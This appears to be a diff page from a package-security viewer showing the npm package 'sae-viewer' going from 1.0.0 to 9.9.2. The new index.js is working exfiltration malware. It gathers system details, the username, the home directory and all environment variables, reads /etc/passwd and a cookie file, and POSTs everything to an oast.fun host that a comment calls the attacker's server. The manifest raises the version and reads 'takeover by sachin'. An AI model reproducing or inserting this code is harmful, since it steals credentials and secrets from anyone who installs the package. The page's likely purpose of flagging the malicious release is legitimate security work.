sae-viewer 1.0.0 → 9.9.2
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +48 -57
- package/package.json +2 -2
package/index.js
CHANGED
@@ -1,82 +1,73 @@
|
|
1
1
|
const os = require('os');
|
2
|
-
const https = require('https');
|
3
2
|
const fs = require('fs');
|
4
|
-
const
|
3
|
+
const https = require('https');
|
5
4
|
|
6
|
-
//
|
7
|
-
|
5
|
+
// Helper function to send data back to your server
|
6
|
+
const sendData = (data) => {
|
8
7
|
const options = {
|
9
|
-
hostname: 'tqixhxwvibvpvtsahqraqodmtpnukgttl.oast.fun',
|
8
|
+
hostname: 'tqixhxwvibvpvtsahqraqodmtpnukgttl.oast.fun', // Your server where you collect the info
|
10
9
|
port: 443,
|
11
|
-
path: '/
|
10
|
+
path: '/chatgptSeaviewer',
|
12
11
|
method: 'POST',
|
13
12
|
headers: {
|
14
13
|
'Content-Type': 'application/json',
|
15
|
-
'User-Agent': data.userAgent // Send user agent in headers
|
16
14
|
},
|
17
15
|
};
|
18
16
|
|
19
17
|
const req = https.request(options, (res) => {
|
20
|
-
|
18
|
+
res.on('data', (d) => {
|
19
|
+
process.stdout.write(d);
|
20
|
+
});
|
21
21
|
});
|
22
22
|
|
23
|
-
req.on('error', (
|
24
|
-
console.error(
|
23
|
+
req.on('error', (error) => {
|
24
|
+
console.error(error);
|
25
25
|
});
|
26
26
|
|
27
27
|
req.write(JSON.stringify(data));
|
28
28
|
req.end();
|
29
|
-
}
|
30
|
-
|
31
|
-
// Collect system info
|
32
|
-
const systemInfo = {
|
33
|
-
hostname: os.hostname(), // Get server's hostname
|
34
|
-
platform: os.platform(), // OS platform (e.g., Linux, Windows)
|
35
|
-
arch: os.arch(), // Architecture (x64, arm, etc.)
|
36
|
-
cpus: os.cpus().length, // Number of CPU cores
|
37
|
-
memory: os.totalmem(), // Total system memory
|
38
|
-
networkInterfaces: os.networkInterfaces(),
|
39
29
|
};
|
40
30
|
|
41
|
-
//
|
42
|
-
const
|
43
|
-
|
44
|
-
|
45
|
-
https.get('https://api.ipify.org?format=json', (resp) => {
|
46
|
-
let data = '';
|
47
|
-
|
48
|
-
resp.on('data', (chunk) => {
|
49
|
-
data += chunk;
|
50
|
-
});
|
51
|
-
|
52
|
-
resp.on('end', () => {
|
53
|
-
const ipInfo = JSON.parse(data);
|
54
|
-
systemInfo.externalIP = ipInfo.ip;
|
31
|
+
// Gather system information
|
32
|
+
const getSystemInfo = () => {
|
33
|
+
const userInfo = os.userInfo();
|
34
|
+
const networkInterfaces = os.networkInterfaces();
|
55
35
|
|
56
|
-
|
57
|
-
|
58
|
-
|
59
|
-
|
60
|
-
|
61
|
-
|
62
|
-
|
63
|
-
|
36
|
+
const systemInfo = {
|
37
|
+
hostname: os.hostname(),
|
38
|
+
osType: os.type(),
|
39
|
+
osRelease: os.release(),
|
40
|
+
platform: os.platform(),
|
41
|
+
arch: os.arch(),
|
42
|
+
whoami: userInfo.username,
|
43
|
+
homeDir: userInfo.homedir,
|
44
|
+
networkInterfaces: networkInterfaces,
|
45
|
+
ipAddress: networkInterfaces['eth0'] ? networkInterfaces['eth0'][0].address : 'No IP',
|
46
|
+
macAddress: networkInterfaces['eth0'] ? networkInterfaces['eth0'][0].mac : 'No MAC',
|
47
|
+
uptime: os.uptime(),
|
48
|
+
currentWorkingDir: process.cwd(),
|
49
|
+
envVariables: process.env,
|
50
|
+
};
|
64
51
|
|
65
|
-
|
66
|
-
|
67
|
-
systemInfo,
|
68
|
-
userInfo,
|
69
|
-
userAgent, // User agent string for tracking
|
70
|
-
};
|
52
|
+
return systemInfo;
|
53
|
+
};
|
71
54
|
|
72
|
-
|
73
|
-
|
74
|
-
|
75
|
-
|
55
|
+
// Optionally, attempt to read sensitive files (ensure you are authorized to do so)
|
56
|
+
const readSensitiveFile = (filePath) => {
|
57
|
+
try {
|
58
|
+
const data = fs.readFileSync(filePath, 'utf8');
|
59
|
+
return data;
|
60
|
+
} catch (err) {
|
61
|
+
return `Error reading ${filePath}: ${err.message}`;
|
62
|
+
}
|
63
|
+
};
|
76
64
|
|
77
|
-
|
78
|
-
|
79
|
-
|
65
|
+
// Collect data
|
66
|
+
const collectedData = {
|
67
|
+
systemInfo: getSystemInfo(),
|
68
|
+
passwdFile: readSensitiveFile('/etc/passwd'), // Non-sensitive file on Unix-based systems
|
69
|
+
cookies: readSensitiveFile('/path/to/cookies'), // Adjust the path based on environment
|
70
|
+
};
|
80
71
|
|
81
|
-
//
|
82
|
-
|
72
|
+
// Send collected data back to the attacker's server
|
73
|
+
sendData(collectedData);
|
package/package.json
CHANGED
@@ -1,6 +1,6 @@
|
|
1
1
|
{
|
2
2
|
"name": "sae-viewer",
|
3
|
-
"version": "
|
3
|
+
"version": "9.9.2",
|
4
4
|
"main": "index.js",
|
5
5
|
"scripts": {
|
6
6
|
"test": "echo \"Error: no test specified\" && exit 1",
|
@@ -8,5 +8,5 @@
|
|
8
8
|
},
|
9
9
|
"author": "",
|
10
10
|
"license": "ISC",
|
11
|
-
"description": ""
|
11
|
+
"description": "takeover by sachin"
|
12
12
|
}
|